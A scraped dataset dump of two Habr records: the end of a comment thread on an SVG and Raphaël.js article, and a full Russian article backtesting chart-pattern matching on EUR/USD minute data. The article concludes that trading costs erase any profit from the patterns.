текста по кривой(которая может быть прямой, внутри прямоугольника), с изменением параметра у тега textPath startOffset=\"(значение)\"\nТак что в SVG можно, но браузер это проигнорирует.", "Ну если внутрь SVG присобачивать растр, как этим грешит Corel, то конечно объем раздуется =)", "UFO just landed and posted this here", "Все предельно просто:\n[code]\n <foreignObject>\n <div xmlns=\"http://www.w3.org/1999/xhtml\">\n <p>My <strong>text</strong></p>\n </div>\n </foreignObject>\n[/code]", "UFO just landed and posted this here", "UFO just landed and posted this here", "Да все в порядке с анимацией в SVG. Вот не очень простая анимация на Halloween нигде вроде особенно не тормозит.", "Боюсь там не все красиво как кажется\nбаги webkit", "UFO just landed and posted this here", "UFO just landed and posted this here", "Очень понравилась статья, все по делу", "['ræfeɪəl]", "Только что проверил.\nРазница работы:\nChromium. Полет нормальный.\nFirefox:\n1)В конце домик не загорается.\n2)Не хило грузит, даже после проигрывания анимации.\n3)Анимация не имеет много мелких и сложных элементов.\n4)Нет сложных трансформаций, в том числе групп.\nОперу еще не смотрел.\nВсё проверено сейчас на Ubuntu и Vista.\nДа кстати, в анимации нигде нет фильтров", "Это как раз простая, нет трансформаций и масштабирования объектов!", "Поищите в Гугле по запросу «dwf compare». Думаю то что вам надо, правда не SVG. Сравнение чертежей в DWF формате.", "Во-первых, эдоубиевский плагин — не единственный, хотя не знаю, какова судьба остальных. Во-вторых, зачем ему разработка и поддержка, если он нужен только для старых IE? В-третьих, тот, кто до сих пор имеет старый IE, весьма вероятно имеет и плагины, которые там требовались. В-четвёртых, если вдруг не имеет, можно выдать предложение поставить, о чём я писал два года назад, но по нынешним временам, вероятно, лучше предложить обновить браузер.", "Рассмотрим 1920х1080 например. Растр такого разрешения займет 49766400 самых глубоких бит. Однако сохраненный в PNG файл окажется всего-лишь 165Кб. SVG такого размера представить, да и сгенерить (исключительно вектор, заметьте), совсем не сложно. Инфа 100%. Существует правда SVGZ, однако не принципиально.\nЧто касаемо диагонали отображающего устройства, то не станем же мы пихать в 4\" андроида какого-нибудь то же самое, что хорошо разместится на 24\". да?", "Старые браузеры и с PNG имеют некоторые проблемы. Тогда уж GIF.", "Старые браузеры бывают только у Microsoft, это раз.\nЧерез два-три года не будет даже IE8, это два. IE9 уже обогнал IE8 в рунете.", "[code]\n <svg xmlns=\"http://www.w3.org/2000/svg\" version=\"1.1\" baseProfile=\"full\"><path d=\"M 78,269 l 53,218 a 629,629 0 0,0 109,-36 l -7,-13 a 611,611 0 0,0 154,-103 l -145,-146 a 408,408 0 0,1 -164,80 z\" fill=\"red\" stroke=\"black\" stroke-width=\"1\" stroke-linejoin=\"round\"></path></svg>\n[/code]\nЭтот SVG займёт ровно 307 байт как для андроида с экраном 4\", так и для устройства с экраном 24\".\nЕщё раз, поясните мне, как вообще тут что-то может зависеть от размера экрана?", "Если есть огромное количество объектов в SVG, то спору нет — он может оказаться в разы больше.\nPNG как таковой сжатый формат(который сжимается по определенным алгоритмам), поэтому все таки нормально сравнивать именно с SVGZ.\nPNG тоже не любое изображение может оптимально сжать. Особенно когда значение RGBA практически каждого пикселя уникально.\nНо тут для проекта надо подбирать, где SVG, где PNG, где JPEG, а где и старый GIF подойдет.\nА вот насчет разрешения... Вон тут недавно был топик про retina, Торвальдса и пр.. Так что черт знает, что там с разрешениями сейчас. Слишком большой разброс поддерживаемых разрешений теперь.", "UFO just landed and posted this here", "UFO just landed and posted this here", "UFO just landed and posted this here", "Ага, под Андроид 2.1...", "Мнемонически, для запоминания: «RA(dmin) Fail» ;-)", "Ну, форматированный текст ведь можно вывести?\nА баги есть в любом сложном продукте.", "Каким образом Raphael.js осуществляет поддержку IE?", "Статью пока не прочитал.\nОсуществил год назад часов за 8-12 на этой хрени свою мечту — измерение пути по скриншоту карты. На Оперу под Андроид 2.1 перенеслось криво (вообще и на виндах работает по-разному в FF и хроме). Когда поменял планшет на таковой с ёмкостным экраном, вообще понял в какую лужу сел — в моём поделии почти всё было завязано на дабл-клик, на резистивном было хоть как-то реально со стилусом...\nВ общем, технология гиморная, но перспективная.", "т.е. animateTransform это не анимация транформаций?", "Под Android, похоже, никакие...", "В английском нет ë.\nА, например, во французском — есть: там ë читается как обычная e, независимо от предшествующей буквы. То есть, например, в словах Noël, Moët произношение сочетания oë можно приблизительно передать русскими буквами оэ. Возьмите для сравнения словосочетание chef d'oeuvre — вторая его часть произносится (приблизительно) как дёвр.\nС Рафаэлем — та же фигня. Без точек был бы Рафэль. Во французской википедии есть даже статья об этом имени, там оно пишется аналогично:\n> Raphaël est un prénom masculin.", "Ок, на этот раз вы победили.\nНо я еще сделаю сложную анимацию с трансформациями и множеством элементов.\nПро фильтры обещать не буду, т.к. они даже в графических редакторах оказываются тяжелой операцией.", "Я имел в виду прозрачность фона png в IE6.", "UFO just landed and posted this here", "...в альфа-канале, разумеется.", "UFO just landed and posted this here", "А что Firefox 3.6? Мы под него разработку ведём, и используем при этом SVG.", "UFO just landed and posted this here", "ФФ 16.0, вин хп: лагает ощутимо.", "Вы правы, никак не зависит. Это вопрос религии. Лично я спорил с высказыванием ТС, но привел, похоже, слишком личный опыт. Он не интерполируется на весь окружающий мир, извините. У меня в проекте именно так.", "UFO just landed and posted this here", "Хренасе «перспективная»!1 Вот если б я 2(!) года назад не настоял на выборе svg, то сейчас имел бы гемор полной попой )\nSorry, это ответ на предыдущий пост Flammar", "Неправда: в `img` и фоне не поддерживает, а инлайново — вполне себе, только XHTML, разумеется, должен быть.", "UFO just landed and posted this here", "Не только видел, мы только его и пишем уже лет пять. Амперсанды экранируем, да, не вижу проблемы.", "Здесь все-таки feɪəl, а не feɪl, так что плохая мнемоника.", "Ну попробуйте что нибудь сложнее двигания пикселей и альфа канала. Блин с этой задачей вполне должен первый пенёк справляться. Ну с учетом разрешения ладно уж второй.", "Тем не менее, фильтры на шейдерах могут реактивно работать!", "недавно только писали про «оранжевый цвет» habrahabr.ru/post/156451/ и тут бабах! такое лого... или такой?", "window.onload=function() {\n//сюда вставить код Raphael\n}\nБоже, мои глаза.", "SVG ещё можно анимировать нативно.\n* сорри, вспомнил что тег animate и есть SMIL))).", "Ещё стоит добавить, что polygon от polyline отличается тем, что polygon автоматически закрывает фигуру, а polyline — нет.\nКстати библиотека Fabric.js умеет интерпретировать SVG и переносить на canvas.\nДа, и ещё на интуите ( intuit.ru ) есть тоже про SVG, причём очень много.", "Это, наверное, «неживой»...;-) В смысле, генерированный...", "UFO just landed and posted this here", "В английском и французском букв с двумя точками, строго говоря, нет. Но иногда две точки над второй гласной применяются. Они служат, чтобы «разбить» диграф и заставить каждую букву читаться по своим собственным правилам.\nПредположим, по правилам буква «o» читается как звук «о», буква «e» читается как звук «э», а сочетание «oe» читается как русская «ё». Тогда «oë» будет предписывать чтение не как «ё», а по отдельности: «оэ». Что и продемонстрировал коллега shoorick в примерах про Noël и Moët.", "UFO just landed and posted this here", "Так он и должен быть весь генерированный, какой же ещё?", "Боже, зачем Вы изощряетесь, когда на сайте продукта во втором же абзаце указано произношение: ['ræfeɪəl]? По правилам англо-русской практической транскрипции по-русски это пишется так: «Рэ́фейэл».", "UFO just landed and posted this here", "Можно и руками писать. Как, в прочем, и postscript... Хардкор такой хардкор...", "Кому хренасе, а некоторые на трёх браузерах проверяли код, который в экран не влазит и размеры меняет — как он на скроллинг реагирует. Не, согласен, что претензия на GIU на чистом SVG — это несколько изврат. Но всё же.\nДа, а ещё я на нём объект XMLHTTPRequest обнаружил...", "«Рукипедия» не совсем тщательно написана — Diaeresis_(diacritic) и Umlaut. Умлаут — это, буквально, «перезвучка» звука, трема — это обозначение на письме, в т.ч. и обозначение умлаута в германских языках.", "Так что, раз на разных браузерах по-разному, пока только «перспективная»...", "Raphaël назван в честь известного художника ренесанса и произносится Рафаэль. Диарезиз в название добавлен для англоязычных читателей, чтобы они не читали “ae” как один звук.\nВообще не стоит заморачиваться, как произносит большинство, так и правильно. Мало кто поймёт у нас что «найки» и «эдоби» это на самом деле Nike и Adobe. ;)", "А как она мне помогла в своё время ;)", "Не понял кстати, зачем разделять синтаксис line и polyline — по сути ведь это одно и то же.\nИ еще непонятно, почему у прямоугольника правый и нижний бока жирные." ], "author": [ "Станислав (CyberAP)", "WebSpider", "Кирилл (grokru)", "{}", "Евгений (imater)", "Антон Алехин (igamity)", "Олег Барабанов (olegbarabanov)", "Николай Слободской (wholeman)", "Новиков Андрей (Envek)", "Никита Киприянов (merlin-vrn)", "Николай Слободской (wholeman)", "Олег Торбасов (torbasow)", "Anton A.Belichkov (za90)", "Lsh (Lsh)", "Григорий Жижилкин (StopDesign)", "Илья (DrZugrik)", "Антон Подавалов (apodavalov)", "Anton A.Belichkov (za90)", "Anton A.Belichkov (za90)", "Олег Барабанов (olegbarabanov)", "Олег Барабанов (olegbarabanov)", "Никита Киприянов (merlin-vrn)", "Антон Подавалов (apodavalov)", "Anton A.Belichkov (za90)", "Никита Киприянов (merlin-vrn)", "Николай Слободской (wholeman)", "Sergey Ilinsky (ilinsky)", "Илья (DrZugrik)", "Вера Лобачева (summerstyle)", "Зубашев Степан (faiwer)", "Олег Барабанов (olegbarabanov)", "Олег Барабанов (olegbarabanov)", "{}", "ainte (ainte)", "{}", "{}", "ainte (ainte)", "Олег Барабанов (olegbarabanov)", "{}", "{}", "Я (sarlv)", "Anton A.Belichkov (za90)", "Олег Барабанов (olegbarabanov)", "Алексей Сидоров (Gorthauer87)", "Cadog", "Олег Торбасов (torbasow)", "Anton A.Belichkov (za90)", "Олег Торбасов (torbasow)", "Григорий Жижилкин (StopDesign)", "Никита Киприянов (merlin-vrn)", "Олег Барабанов (olegbarabanov)", "{}", "{}", "{}", "Михаил (Flammar)", "Михаил (Flammar)", "ainte (ainte)", "Сергей (Istergul)", "Михаил (Flammar)", "ainte (ainte)", "Михаил (Flammar)", "Александр Сапожников (shoorick)", "ainte (ainte)", "Олег Торбасов (torbasow)", "{}", "Олег Торбасов (torbasow)", "{}", "Олег Торбасов (torbasow)", "{}", "Денис (Hixon10)", "Anton A.Belichkov (za90)", "{}", "Anton A.Belichkov (za90)", "Олег Торбасов (torbasow)", "{}", "Олег Торбасов (torbasow)", "GreyCat (GreyCat)", "Алексей Сидоров (Gorthauer87)", "Алексей Сидоров (Gorthauer87)", "Михаил Денисов (monzdrpower)", "Bohdan Yurov (nick4fake)", "Дмитрий (Keyten)", "Дмитрий (Keyten)", "Михаил (Flammar)", "{}", "surly", "{}", "Олег Торбасов (torbasow)", "Олег Торбасов (torbasow)", "{}", "Михаил (Flammar)", "Михаил (Flammar)", "Михаил (Flammar)", "Михаил (Flammar)", "Dmitry Baranovskiy (DmitryBaranovskiy)", "ddsl", "Иван Иванов (obiwanus)" ], "children": [ [ 5373905 ], [ 5371093, 5372859 ], [], [ 5372027 ], [ 5371329 ], [], [ 5372251 ], [], [ 5445151 ], [ 5371439, 5371545, 5371967 ], [ 5371469, 5371799, 5372249, 5372969 ], [ 5372269 ], [], [], [ 5372289 ], [ 5371705, 5371761, 5372503 ], [ 5371789 ], [ 5371889 ], [], [ 5371813, 5371923 ], [ 5371801 ], [ 5371899 ], [ 5372075, 5372149 ], [], [ 5372089 ], [], [], [], [], [ 5372101, 5372235, 5372353 ], [], [ 5372623 ], [ 5372993, 5375657, 5375693, 5377213 ], [ 5372253 ], [ 5398155 ], [], [ 5372399, 5372411, 5373077 ], [ 5372931 ], [ 5372609 ], [ 5372625, 5372709 ], [], [ 5372883 ], [ 5373015 ], [ 5372961 ], [], [ 5372807 ], [ 5372759, 5372779 ], [ 5372839 ], [ 5372841 ], [ 5373103 ], [], [], [ 5373017 ], [ 5373063 ], [], [ 5373433 ], [], [], [], [ 5373495 ], [], [], [ 5373509 ], [ 5373027 ], [ 5373053 ], [ 5373059 ], [], [ 5373065 ], [ 5373313 ], [ 5373143 ], [], [], [ 5387149, 5387339 ], [ 5373329 ], [ 5373367 ], [ 5374789 ], [], [], [], [], [], [], [], [ 5377203 ], [ 5377025 ], [], [ 5387333 ], [ 5387121 ], [ 5377239 ], [], [], [], [], [], [], [], [] ] }
351,610
ru
https://habr.com/ru/post/351610/
Ищем закономерности на бирже
Если вы решили научиться торговать на бирже, то вам нужно научиться находить на ней закономерности. Закономерность — это определённое условие (например характерное движение цены или какое-то событие), после выполнения которого вы будете знать, куда дальше пойдёт цена. На обучающих курсах брокеры учат начинающих трейдеров находить и использовать закономерности. Но практически все новички в конце-концов проигрывают свои деньги. Ниже я покажу, почему это происходит. ## Основы Вся индустрия обучения торговле на бирже крутится вокруг двух методов прогнозирования цен: технического анализа; фундаментального анализа; Технический анализ гласит, что движение цены можно спрогнозировать исходя из её предыдущего движения. Например если график цены вырисовывает фигуру «Голова и плечи», то вероятность того, что цена развернётся, повышается. Рисунок 1 — фигура «Голова и плечи» В противовес ему, фундаментальный анализ гласит, что движение цены можно спрогнозировать, анализируя внешние информационные факторы (например финансовую отчётность, произошедшие события и т. д.). ## Проверим, работает ли технический анализ Существуют тысячи способов прогнозирования цен. Это различные модели движения (паттерны), индикаторы, осцилляторы, нейронные сети и т. д. Всех их объединяет одна общая черта: они позволяют предсказать будущее движение цены, опираясь на её предыдущие значения. ## Выдвинем гипотезу Теперь представьте себе ситуацию, что в течение ближайшего часа цена будет двигаться также, как она двигалась в течение часа 3 года назад. Если внутри этих одинаковых участков графика вы примените одинаковые методы технического анализа, то они выдадут одинаковые показания. Этот мысленный эксперимент доказывает, что вместо поиска работающего способа технического анализа, можно искать схожие участки графика, после которых цена ведёт себя схожим образом. Далее я буду называть такие участки «моделями». Очевидное преимущество поиска моделей состоит в том, что вы экономите время на поиске работающего метода технического анализа. Существуют тысячи таких методов и каждый день брокеры, дилеры и различные «преподаватели» биржевой торговли придумывают ещё несколько новых способов. Проблема заключается в том, что вам не хватит жизни на то, чтобы проверить на работоспособность все методы торговли, которые вам предлагют (кстати, на это и сделан расчёт). ## Проведём эксперимент Для поиска моделей мы напишем программу, которая проанализирует минутные графики интересующих нас активов за последние несколько лет и выявит закономерности. #### 1\. Подготовка данных Скачаем графики по интересующему нас инструменту. В своём примере я использовал поминутную котировку валютной пары EUR/USD за последние 10 лет. Предварительно обработаем данные: спарсим из выгрузки только цену закрытия каждой минуты, разобьём график на недельные участки и устраним резкие скачки цен из-за нерабочего времени бирж. Теперь разобьём этот график на 2 половины по 5 лет. На первой половине мы будем искать работающие модели, а на второй — проверять, на сколько хорошо найденные модели будут работать в реальности. #### 2\. Поиск моделей На первом 5-летнем отрезке мы: 1. переберём все значения графика; 2. для каждого значения запомним N предыдущих значений (N будем последовательно изменять от 10 до 1000) и M последующих (можно брать любое значение <= N, в данном эксперименте M = 0.3*N); 3. каждый полученный в (п. 2) участок графика (длиной N) сравним со всеми другими участками этого 5-летнего графика (длиной N), а его продолжения (длиной M) сравним с продолжениями соответствующих участков; Примечание по п. 3: Для сравнения пар участков графика я использовал метод наименьших квадратов, минимизируя квадратичное отклонение (далее — СКО). Чем оно ниже — тем более схожи 2 фрагмента графика. Рисунок 2 — Иллюстрация сравнения двух участков графика длиной N СКО вычисляется по формуле: , где: Х1i — значение первого участка графика в момент времени i; Х2i — значение второго участка графика в момент времени i; Х0 — сдвиг точки начала отсчёта по вертикальной оси (вычисляется из этой же формулы); i — время; n — длина сравниваемых участков графика; В результате такого перебора (см. п. 3) мы получим большое количество результатов сравнений для каждого участка графика и его продолжения (см. п. 2). Далее эти участки мы будем называть потенциальными моделями. Для того, чтобы понять, является ли потенциальная модель работающей, для каждого перебора (см. п. 3) нужно определить, есть ли зависимость между: Величиной СКО между потенциальной моделью и сравниваемым участком графика (далее — СКО1); и величиной СКО между продолжением потенциальной модели и продолжением сравниваемого участка графика (далее — СКО2); Рисунок 3 — Иллюстрация поиска зависимостей между СКО1 и СКО2 а именно: Если при снижении СКО1, СКО2 тоже будет снижаться — значит потенциальная модель является рабочей и её можно использовать в торговле; Если же при снижении СКО1, СКО2 будет изменяться случайным образом — значит потенциальная модель оказалась нерабочей; Исключим из перечня потенциальных моделей те, у которых при снижении СКО1 не снижается СКО2. Таким образом, мы получим большое количество моделей, при помощи которых можно прогнозировать движения цен на рынке. #### 3\. Проверка моделей на реальных данных Теперь для каждой найденной модели посчитаем, сколько денег она бы заработала на первом 5-летнем участке (на нём мы обучали систему искать модели) и на втором 5-летнем участке (до текущего момента мы не трогали эти данные, поэтому проверка моделей на них позволит достоверно оценить потенциал заработка). Нанесём полученные значения на координатную плоскость, где: по оси X отметим прибыль, которую бы получили найденные нами модели на первом 5-летнем участке графика; по оси Y отметим прибыль, которую бы получили найденные нами модели на практике (на втором 5-летнем участке); Для того, чтобы данные легче считывались невооружённым глазом, на графике ниже: выведено только 0,1% от общего количества рассчитанных точек; выведены только результаты тех моделей, торговля по которым принесла бы прибыль на первом 5-летнем участке; горизонтальная ось разделена на 10 равных участков, для каждого из которых посчитано среднее значение (отмечены синими линиями) Рисунок 4 — график зависимости реальной прибыльности моделей (Y) от их прибыльности на участке, использовавшемся для обучения (X) Как видите, чем лучше найденная модель работает на тестовом участке графика — тем лучше она работает в боевых условиях. Получается, что на бирже есть модели, которые работают. #### 4\. Прогнозирование прибыльности торговли Прежде чем считать, сколько денег можно заработать на моделях, нужно добавить в наши расчёты спред и/или комиссию брокера. По моим расчётам при торговле парой EUR/USD в среднем вы будете платить от 2 пунктов со сделки (около 0,015% от текущей стоимости валютной пары). Для начала, давайте попробуем добавить в алгоритмы поиска и проверки моделей 1 пункт комиссий. Получим график: Рисунок 5 — график зависимости реальной прибыльности моделей (Y) от их прибыльности на участке, использовавшемся для обучения (X) с учётом комиссий, размером в 1 пункт Теперь увеличим размер комиссий до 2 пунктов Рисунок 6 — график зависимости реальной прибыльности моделей (Y) от их прибыльности на участке, использовавшемся для обучения (X) с учётом комиссий, размером в 2 пункта Получается, что если размер спреда и комиссий в сумме превышают 1 пункт — то торговля по моделям на валютной паре EUR/USD будет приносить убытки. ## Выводы В данном эксперименте мы находили схожие участки графиков и проверяли, в какую сторону цена будет двигаться после их прохождения. Те участки, после прохождения которых цена двигалась в одну и ту же сторону, мы считали закономерностями (моделями) и оказывались правы (см. Рисунок 4). Однако используя те же модели в реальной ситуации мы не смогли получить прибыль, размер которой превышал бы размер спреда и комиссии брокера. Исходя из этого можно сделать следующие выводы: 1. На биржах есть закономерности и их можно находить при помощи технического анализа; 2. Большинство из этих закономерностей не позволяют зарабатывать суммы, превыщающие размер спреда и комиссий брокера; 3. Из первых двух пунктов следует, что большинство брокеров и дилеров, рекламирующих торговлю на бирже как средство заработка, обманывают людей. Они обращаются к нашим эмоциям, обещая лучшую жизнь, но на самом деле учат проигрывать деньги. Это — мое личное мнение. Если вам понравилась статья — могу выложить результаты ещё нескольких экспериментов.
<div xmlns="http://www.w3.org/1999/xhtml"><p>Если вы решили научиться торговать на бирже, то вам нужно научиться находить на ней закономерности. Закономерность — это определённое условие (например характерное движение цены или какое-то событие), после выполнения которого вы будете знать, куда дальше пойдёт цена.</p><br/> <p>На обучающих курсах брокеры учат начинающих трейдеров находить и использовать закономерности. Но практически все новички в конце-концов проигрывают свои деньги. Ниже я покажу, почему это происходит.</p><a name="habracut"></a><br/> <h2>Основы</h2><br/> <p>Вся индустрия обучения торговле на бирже крутится вокруг двух методов прогнозирования цен:</p><br/> <ul> <li>технического анализа;</li> <li>фундаментального анализа;</li> </ul><br/> <p>Технический анализ гласит, что движение цены можно спрогнозировать исходя из её предыдущего движения. Например если график цены вырисовывает фигуру «Голова и плечи», то вероятность того, что цена развернётся, повышается.</p><br/> <img src="https://habrastorage.org/r/w1560/webt/gu/if/kz/guifkzwf_lz0ohcnls44e91e32o.png" data-src="https://habrastorage.org/webt/gu/if/kz/guifkzwf_lz0ohcnls44e91e32o.png"/><br/> <i><p><b>Рисунок 1 — фигура «Голова и плечи»</b></p></i><br/> <p>В противовес ему, фундаментальный анализ гласит, что движение цены можно спрогнозировать, анализируя внешние информационные факторы (например финансовую отчётность, произошедшие события и т. д.).</p><br/> <h2>Проверим, работает ли технический анализ</h2><br/> <p>Существуют тысячи способов прогнозирования цен. Это различные модели движения (паттерны), индикаторы, осцилляторы, нейронные сети и т. д.<br/> Всех их объединяет одна общая черта: они позволяют предсказать будущее движение цены, опираясь на её предыдущие значения.</p><br/> <h2>Выдвинем гипотезу</h2><br/> <p>Теперь представьте себе ситуацию, что в течение ближайшего часа цена будет двигаться также, как она двигалась в течение часа 3 года назад.</p><br/> <p>Если внутри этих одинаковых участков графика вы примените одинаковые методы технического анализа, то они выдадут одинаковые показания.</p><br/> <p>Этот мысленный эксперимент доказывает, что вместо поиска работающего способа технического анализа, можно искать схожие участки графика, после которых цена ведёт себя схожим образом. Далее я буду называть такие участки «моделями».</p><br/> <p>Очевидное преимущество поиска моделей состоит в том, что вы экономите время на поиске работающего метода технического анализа. Существуют тысячи таких методов и каждый день брокеры, дилеры и различные «преподаватели» биржевой торговли придумывают ещё несколько новых способов. Проблема заключается в том, что вам не хватит жизни на то, чтобы проверить на работоспособность все методы торговли, которые вам предлагют (кстати, на это и сделан расчёт).</p><br/> <h2>Проведём эксперимент</h2><br/> <p>Для поиска моделей мы напишем программу, которая проанализирует минутные графики интересующих нас активов за последние несколько лет и выявит закономерности.</p><br/> <h4>1. Подготовка данных</h4><br/> <p>Скачаем графики по интересующему нас инструменту. В своём примере я использовал поминутную котировку валютной пары EUR/USD за последние 10 лет.</p><br/> <p>Предварительно обработаем данные: спарсим из выгрузки только цену закрытия каждой минуты, разобьём график на недельные участки и устраним резкие скачки цен из-за нерабочего времени бирж.</p><br/> <p>Теперь разобьём этот график на 2 половины по 5 лет. На первой половине мы будем искать работающие модели, а на второй — проверять, на сколько хорошо найденные модели будут работать в реальности.</p><br/> <h4>2. Поиск моделей</h4><br/> <p>На первом 5-летнем отрезке мы:</p><br/> <ol> <li>переберём все значения графика;</li> <li>для каждого значения запомним N предыдущих значений (N будем последовательно изменять от 10 до 1000) и M последующих (можно брать любое значение &lt;= N, в данном эксперименте M = 0.3*N);</li> <li>каждый полученный в (п. 2) участок графика (длиной N) сравним со всеми другими участками этого 5-летнего графика (длиной N), а его продолжения (длиной M) сравним с продолжениями соответствующих участков;</li> </ol><br/> <p><i>Примечание по п. 3: Для сравнения пар участков графика я использовал метод наименьших квадратов, минимизируя квадратичное отклонение (далее — СКО). Чем оно ниже — тем более схожи 2 фрагмента графика.</i></p><br/> <img src="https://habrastorage.org/r/w1560/webt/vo/p9/8h/vop98hikh7epetapqpw-ogyl5xi.png" data-src="https://habrastorage.org/webt/vo/p9/8h/vop98hikh7epetapqpw-ogyl5xi.png"/><br/> <i><p><b>Рисунок 2 — Иллюстрация сравнения двух участков графика длиной N</b></p></i><br/> <p><i>СКО вычисляется по формуле:</i></p><br/> <img src="https://habrastorage.org/r/w1560/webt/jv/xk/ra/jvxkrava6rnexafr9gxj-a8oajc.png" data-src="https://habrastorage.org/webt/jv/xk/ra/jvxkrava6rnexafr9gxj-a8oajc.png"/><br/> <p><i>, где:</i></p><br/> <ul> <li><i>Х1i — значение первого участка графика в момент времени i;</i></li> <li><i>Х2i — значение второго участка графика в момент времени i;</i></li> <li><i>Х0 — сдвиг точки начала отсчёта по вертикальной оси (вычисляется из этой же формулы);</i></li> <li><i>i — время;</i></li> <li><i>n — длина сравниваемых участков графика;</i></li> </ul><br/> <p>В результате такого перебора (см. п. 3) мы получим большое количество результатов сравнений для каждого участка графика и его продолжения (см. п. 2). Далее эти участки мы будем называть потенциальными моделями.</p><br/> <p>Для того, чтобы понять, является ли потенциальная модель работающей, для каждого перебора (см. п. 3) нужно определить, есть ли зависимость между:</p><br/> <ul> <li>Величиной СКО между потенциальной моделью и сравниваемым участком графика (далее — СКО1);</li> <li>и величиной СКО между продолжением потенциальной модели и продолжением сравниваемого участка графика (далее — СКО2);</li> </ul><br/> <img src="https://habrastorage.org/r/w1560/webt/ab/pm/zm/abpmzmemd5kcvirwem9hxilys9w.png" data-src="https://habrastorage.org/webt/ab/pm/zm/abpmzmemd5kcvirwem9hxilys9w.png"/><br/> <i><p><b>Рисунок 3 — Иллюстрация поиска зависимостей между СКО1 и СКО2</b></p></i><br/> <p>а именно:</p><br/> <ul> <li>Если при снижении СКО1, СКО2 тоже будет снижаться — значит потенциальная модель является рабочей и её можно использовать в торговле;</li> <li>Если же при снижении СКО1, СКО2 будет изменяться случайным образом — значит потенциальная модель оказалась нерабочей;</li> </ul><br/> <p>Исключим из перечня потенциальных моделей те, у которых при снижении СКО1 не снижается СКО2.<br/> <br/> Таким образом, мы получим большое количество моделей, при помощи которых можно прогнозировать движения цен на рынке.</p><br/> <h4>3. Проверка моделей на реальных данных</h4><br/> <p>Теперь для каждой найденной модели посчитаем, сколько денег она бы заработала на первом 5-летнем участке (на нём мы обучали систему искать модели) и на втором 5-летнем участке (до текущего момента мы не трогали эти данные, поэтому проверка моделей на них позволит достоверно оценить потенциал заработка).</p><br/> <p>Нанесём полученные значения на координатную плоскость, где:</p><br/> <ul> <li>по оси X отметим прибыль, которую бы получили найденные нами модели на первом 5-летнем участке графика;</li> <li>по оси Y отметим прибыль, которую бы получили найденные нами модели на практике (на втором 5-летнем участке);</li> </ul><br/> <p>Для того, чтобы данные легче считывались невооружённым глазом, на графике ниже:</p><br/> <ul> <li>выведено только 0,1% от общего количества рассчитанных точек;</li> <li>выведены только результаты тех моделей, торговля по которым принесла бы прибыль на первом 5-летнем участке;</li> <li>горизонтальная ось разделена на 10 равных участков, для каждого из которых посчитано среднее значение (отмечены синими линиями)</li> </ul><br/> <img src="https://habrastorage.org/r/w1560/webt/zk/m5/0w/zkm50wriwoebtrxkyewtk7wbzzo.png" data-src="https://habrastorage.org/webt/zk/m5/0w/zkm50wriwoebtrxkyewtk7wbzzo.png"/><br/> <i><p><b>Рисунок 4 — график зависимости реальной прибыльности моделей (Y) от их прибыльности на участке, использовавшемся для обучения (X)</b></p></i><br/> <p>Как видите, чем лучше найденная модель работает на тестовом участке графика — тем лучше она работает в боевых условиях.<br/> Получается, что на бирже есть модели, которые работают.</p><br/> <br/> <h4>4. Прогнозирование прибыльности торговли</h4><br/> <p>Прежде чем считать, сколько денег можно заработать на моделях, нужно добавить в наши расчёты спред и/или комиссию брокера.<br/> По моим расчётам при торговле парой EUR/USD в среднем вы будете платить от 2 пунктов со сделки (около 0,015% от текущей стоимости валютной пары).</p><br/> <p>Для начала, давайте попробуем добавить в алгоритмы поиска и проверки моделей 1 пункт комиссий. Получим график:</p><br/> <img src="https://habrastorage.org/r/w1560/webt/ue/p-/te/uep-te-nq1rfo3hnxx0fglacacw.png" data-src="https://habrastorage.org/webt/ue/p-/te/uep-te-nq1rfo3hnxx0fglacacw.png"/><br/> <i><p><b>Рисунок 5 — график зависимости реальной прибыльности моделей (Y) от их прибыльности на участке, использовавшемся для обучения (X) с учётом комиссий, размером в 1 пункт</b></p></i><br/> <p>Теперь увеличим размер комиссий до 2 пунктов</p><br/> <img src="https://habrastorage.org/r/w1560/webt/wr/jv/9u/wrjv9uayr-ah975g83foq7mxqju.png" data-src="https://habrastorage.org/webt/wr/jv/9u/wrjv9uayr-ah975g83foq7mxqju.png"/><br/> <i><p><b>Рисунок 6 — график зависимости реальной прибыльности моделей (Y) от их прибыльности на участке, использовавшемся для обучения (X) с учётом комиссий, размером в 2 пункта</b></p></i><br/> <p>Получается, что если размер спреда и комиссий в сумме превышают 1 пункт — то торговля по моделям на валютной паре EUR/USD будет приносить убытки.</p><br/> <h2>Выводы</h2><br/> <p>В данном эксперименте мы находили схожие участки графиков и проверяли, в какую сторону цена будет двигаться после их прохождения.<br/> Те участки, после прохождения которых цена двигалась в одну и ту же сторону, мы считали закономерностями (моделями) и оказывались правы (см. Рисунок 4).<br/> Однако используя те же модели в реальной ситуации мы не смогли получить прибыль, размер которой превышал бы размер спреда и комиссии брокера.</p><br/> <p>Исходя из этого можно сделать следующие выводы:</p><br/> <ol> <li>На биржах есть закономерности и их можно находить при помощи технического анализа;</li> <li>Большинство из этих закономерностей не позволяют зарабатывать суммы, превыщающие размер спреда и комиссий брокера;</li> <li>Из первых двух пунктов следует, что большинство брокеров и дилеров, рекламирующих торговлю на бирже как средство заработка, обманывают людей. Они обращаются к нашим эмоциям, обещая лучшую жизнь, но на самом деле учат проигрывать деньги. Это — мое личное мнение.</li> </ol><br/> <p>Если вам понравилась статья — могу выложить результаты ещё нескольких экспериментов.</p></div>
SYSTEM_FAILURE
null
null
<p>Если вы решили научиться торговать на бирже, то вам нужно научиться находить на ней закономерности. Закономерность — это определённое условие (например характерное движение цены или какое-то событие), после выполнения которого вы будете знать, куда дальше пойдёт цена.</p><br/> <p>На обучающих курсах брокеры учат начинающих трейдеров находить и использовать закономерности. Но практически все новички в конце-концов проигрывают свои деньги. Ниже я покажу, почему это происходит.</p>
Если вы решили научиться торговать на бирже, то вам нужно научиться находить на ней закономерности. Закономерность — это определённое условие (например характерное движение цены или какое-то событие), после выполнения которого вы будете знать, куда дальше пойдёт цена. На обучающих курсах брокеры учат начинающих трейдеров находить и использовать закономерности. Но практически все новички в конце-концов проигрывают свои деньги. Ниже я покажу, почему это происходит.
article
1,521,540,755
{ "commentsCount": 37, "favoritesCount": 146, "readingCount": 39076, "score": 44, "votesCount": 48, "votesCountPlus": 46, "votesCountMinus": 2 }
[ "sandbox" ]
[ "zadachki", "algorithms", "maths", "machine_learning", "finance" ]
[ "develop", "popsci" ]
[ "Торговля на бирже", "форекс", "алгоритмическая торговля", "трейдинг" ]
5
null
null
